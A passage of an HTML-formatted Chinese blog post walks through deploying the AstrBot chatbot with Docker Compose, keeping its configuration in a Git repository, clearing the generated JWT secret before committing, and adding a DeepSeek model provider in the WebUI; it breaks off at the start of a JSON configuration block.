&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;TZ=${TZ:-Asia/Shanghai}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;./data:/AstrBot/data:z&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;/etc/localtime:/etc/localtime:ro&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;.env.example&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ASTRBOT_IMAGE=soulter/astrbot:latest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ASTRBOT_CONTAINER_NAME=astrbot-config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ASTRBOT_WEB_PORT=6185
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ASTRBOT_ONEBOT_PORT=6199
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TZ=Asia/Shanghai
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际运行时复制一份 &lt;code&gt;.env&lt;/code&gt;，但 &lt;code&gt;.env&lt;/code&gt; 不进 Git：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cp .env.example .env
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="git-ignore"&gt;Git Ignore
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;.gitignore&lt;/code&gt; 的核心是排除运行态文件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.env
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;*.log
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/dist/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/temp/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/attachments/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/webchat/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/site-packages/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/knowledge_base/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/workspaces/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/plugin_data/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/dashboard.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/*.db
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/*.db-*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/t2i_templates/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Keep config-managed areas tracked.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;!data/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;!data/config/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;!data/plugins/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;!data/skills/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这样 AstrBot 首次启动时生成的一堆数据库、WebUI 静态资源、知识库文件不会污染配置仓库。&lt;/p&gt;
&lt;h2 id="清掉旧实例"&gt;清掉旧实例
&lt;/h2&gt;&lt;p&gt;因为这是一个从 0 开始的新部署，所以旧 AstrBot 容器直接作废。&lt;/p&gt;
&lt;p&gt;先查看容器：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker ps -a --format &lt;span class="s1"&gt;&amp;#39;{{.ID}} {{.Names}} {{.Image}} {{.Ports}} {{.Status}}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;当时发现旧容器 &lt;code&gt;astrbot&lt;/code&gt; 占用了 &lt;code&gt;6185&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;astrbot soulter/astrbot:latest 0.0.0.0:6185-&amp;gt;6185/tcp Up ...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;移除旧 AstrBot：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker rm -f astrbot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;我没有动 &lt;code&gt;napcat&lt;/code&gt;，因为它不是 AstrBot 本体。&lt;/p&gt;
&lt;h2 id="启动新实例"&gt;启动新实例
&lt;/h2&gt;&lt;p&gt;启动：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker compose up -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;第一次启动时踩到一个小坑：因为前一次端口冲突已经创建了容器，后续虽然配置正确，但实际端口没有发布出来。解决方式是强制重建：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker compose up -d --force-recreate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;查看状态：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker ps --format &lt;span class="s1"&gt;&amp;#39;{{.Names}} {{.Ports}} {{.Status}}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;最终看到：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;astrbot-config 0.0.0.0:6185-&amp;gt;6185/tcp, 0.0.0.0:6199-&amp;gt;6199/tcp Up
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;日志里确认 WebUI ready：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AstrBot v4.24.2 WebUI is ready
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Local: http://localhost:6185
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Default username/password: astrbot / astrbot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;访问地址：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://localhost:6185
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;默认账号密码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;astrbot / astrbot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="处理生成的配置"&gt;处理生成的配置
&lt;/h2&gt;&lt;p&gt;AstrBot 会在 &lt;code&gt;data/&lt;/code&gt; 下生成主配置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/cmd_config.json
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data/mcp_server.json
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;其中 &lt;code&gt;data/cmd_config.json&lt;/code&gt; 里会出现运行时生成的 &lt;code&gt;dashboard.jwt_secret&lt;/code&gt;。这个值不适合进 Git，所以提交前我把它清空：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;dashboard&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;jwt_secret&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;容器以 root 写入挂载目录时，本机用户可能无法直接修改文件。可以通过容器把 &lt;code&gt;/AstrBot/data&lt;/code&gt; 的所有权改回来：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; astrbot-config chown -R 1000:1000 /AstrBot/data
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后再清理 &lt;code&gt;cmd_config.json&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="初始提交"&gt;初始提交
&lt;/h2&gt;&lt;p&gt;确认 Git 状态：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git status --short --ignored
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;应该只看到 &lt;code&gt;.env&lt;/code&gt;、数据库、WebUI 静态资源等被忽略，配置文件和骨架目录可提交。&lt;/p&gt;
&lt;p&gt;提交：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add .env.example .gitignore README.md compose.yml &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data/.gitkeep &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data/config/.gitkeep &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data/plugins/.gitkeep &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data/skills/.gitkeep &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data/cmd_config.json &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data/mcp_server.json &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ops/.gitkeep
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &lt;span class="s2"&gt;&amp;#34;chore: initialize astrbot docker config repo&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;当前提交：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;8a4a00d chore: initialize astrbot docker config repo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="webui-初始配置"&gt;WebUI 初始配置
&lt;/h2&gt;&lt;p&gt;启动跑通之后，我在 AstrBot WebUI 里做了第一次人工配置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;修改了初始 Dashboard 用户名和密码&lt;/li&gt;
&lt;li&gt;在模型提供商里创建了 DeepSeek API 来源&lt;/li&gt;
&lt;li&gt;启用了 &lt;code&gt;deepseek/deepseek-v4-pro&lt;/code&gt; 作为模型&lt;/li&gt;
&lt;li&gt;新建了一个配置文件，展示名称为 &lt;code&gt;Feishu - Flow Project&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;暂时还没有接入飞书机器人、沙箱、CLI、Skills 或插件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些操作反映到仓库里后，&lt;code&gt;git status&lt;/code&gt; 看到：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; M data/cmd_config.json
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?? data/config/abconf_99578339-b87b-41b4-97a9-5c4af491f6c2.json
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?? data/skills.json
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;data/cmd_config.json&lt;/code&gt; 的主要变化是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dashboard.username&lt;/code&gt; 从 &lt;code&gt;astrbot&lt;/code&gt; 改成了 &lt;code&gt;veno&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dashboard.password&lt;/code&gt; 更新为新的密码哈希&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dashboard.jwt_secret&lt;/code&gt; 被运行时重新生成&lt;/li&gt;
&lt;li&gt;新增 &lt;code&gt;provider_sources[0]&lt;/code&gt;，来源 ID 为 &lt;code&gt;deepseek&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;新增 &lt;code&gt;provider[0]&lt;/code&gt;，模型 ID 为 &lt;code&gt;deepseek/deepseek-v4-pro&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其中 DeepSeek API key 目前由 AstrBot WebUI 直接写进了 &lt;code&gt;data/cmd_config.json&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
